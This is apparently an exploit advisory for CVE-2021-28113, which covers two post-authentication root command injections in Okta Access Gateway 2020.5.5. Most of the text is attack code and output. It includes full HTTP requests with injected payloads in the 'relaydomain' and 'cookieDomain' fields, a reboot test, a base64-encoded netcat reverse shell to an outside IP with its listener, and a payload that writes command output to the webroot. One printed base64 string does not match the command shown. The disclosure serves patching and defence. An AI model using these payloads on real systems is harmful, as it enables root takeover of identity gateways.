Monday, July 12, 2021

Okta Access Gateway 2020.5.5 Authenticated Remote Root

Okta Access Gateway v2020.5.5 Post-Auth Remote Root RCE

CVE-2021-28113

=======
Details
=======

There are two command injection bugs can that be triggered after authenticating to the web UI.
Since the injection occurs when a script is executed with sudo, the commands are ran with root
privileges.

BUG #1 - relay

Command injection as root in Applications via the 'relaydomain' field when passing
parameters to generateCert.sh. This is blind injection, so without monitoring logs or
local execution instrumentation, the output will not simply returned in the response.

Also, the included 'nc' binary that the system image includes has the -e flag available
which enables an exploitation easier via connect back shell.

[Request]

POST /api/v1/app/idp/[valid-IDP] HTTP/1.1
Host: gw-admin.domain.tld
Content-Type: application/json;charset=utf-8
X-CSRF-TOKEN: [placeholder]
Content-Length: 134
Cookie: CSRF-TOKEN=[placeholder]; JSESSIONID=[placeholder]; SessionCookie=[placeholder]

{"settings":
{"label":"test",
"type":"CERTHEADER2015_APP",
"relaydomain":"..$(whoami)", <-- HERE
"groups":[],
"handlers":{}}
,"policies":[{}]}

[Response /w local instrumentation for monitoring]

pid=23033 executed [/bin/bash /opt/oag/bin/generateCert.sh -w -d .root ]

[Quick testing]

"relaydomain":"..$(reboot)"

and the system should reboot.

[Exploitation for reverse shell]

Note: for some bizzare reason, this payload worked for a period of time during testing, but was not generally reproducible afterwards.

1) generate base64 for the connect back command to be executed

$ echo -n "nc 10.0.0.111 5000 -e /bin/bash" | base64
bmMgMTAuMTAuMTAuMTc5IDU1NTUgLWUgL2Jpbi9iYXNo

2) start a listener

$ nc -l -p 5000
...

3) make the request with the payload (.. is required due to how it parses domains)

..$(echo${IFS}'bmMgMTAuMC4wLjExMSA1MDAwIC1lIC9iaW4vYmFzaA=='>test;$(base64${IFS}-d${IFS}test))

4) get a root shell from the server

* connection from 10.0.0.77 *
python -c 'import pty; pty.spawn("/bin/bash")'

[0] [email protected];/root#

Note: the hostname of the local OAG test system happens to be oag.okta.com and has nothing to do with any Okta company servers.

BUG #2 - cookie

Command injection as root in Identity Providers via the 'cookieDomain' field when passing
parameters to generateCert.sh.

[Request]

POST /api/v1/setting/idp/local HTTP/1.1
Host: gw-admin.domain.tld
Content-Type: application/json;charset=utf-8
X-CSRF-TOKEN: [placeholder]
Content-Length: 222
Cookie: CSRF-TOKEN=[placeholder]; JSESSIONID=[placeholder]; SessionCookie=[placeholder]

{"subCategory":
"IDP_SAML_LOCAL",
"json":{
"name":"Local OAG IDP",
"host":"https://google.com",
"cookieDomain":"$(uname${IFS}-n)", <-- HERE
"nameIDFormat":"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified",
"metadata":{}},
"$edit":true}

[Response /w local instrumentation for monitoring]

pid=22822 executed [/bin/bash /opt/oag/bin/generateCert.sh -w -d Linux oag 3.10.0-957.27.2.el7.x86_64
#1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux uid=0(root) gid=0(root) groups=0(root) ]

[Quick testing]

"cookieDomain":"$(reboot)"

and the system should reboot.

[Exploitation for executing commands with output in the webroot]

Same note as the previous one; for some reason, this payload worked for a period of time during testing, but then stopped fully working (the bug was still there just less exploitable).

1) generate base64 for "ls -al /root" to be written to a location accessible via web request

$ echo -n "script -q -c ls\$IFS-al\$IFS/root /opt/oag/simpleSAMLphp/www/test.php" | base64 -w0
c2NyaXB0IC1xIC1jIGxzJElGUy1hbCRJRlMvcm9vdCAvb3B0L29hZy9zaW1wbGVTQU1McGhwL3d3dy90ZXN0LnBocA==

2) make the request with the payload

$(echo${IFS}'c2NyaXB0IC1xIC1jIGxzJElGUy1hbCRJRlMvcm9vdCAvb3B0L29hZy9zaW1wbGVTQU1McGhwL3d3dy90ZXN0LnBocA=='>test;$(base64${IFS}-d${IFS}test))

3) check https://gw-admin.domain.tld/auth/test.php for the output of the command

===
Fix
===

The cookie bug was a "known issue" and fixed in v2020.9.3 and the relay bug was also fixed and no longer works on the latest v2021.2.1.

https://www.okta.com/security-advisories/cve-2021-28113/
 

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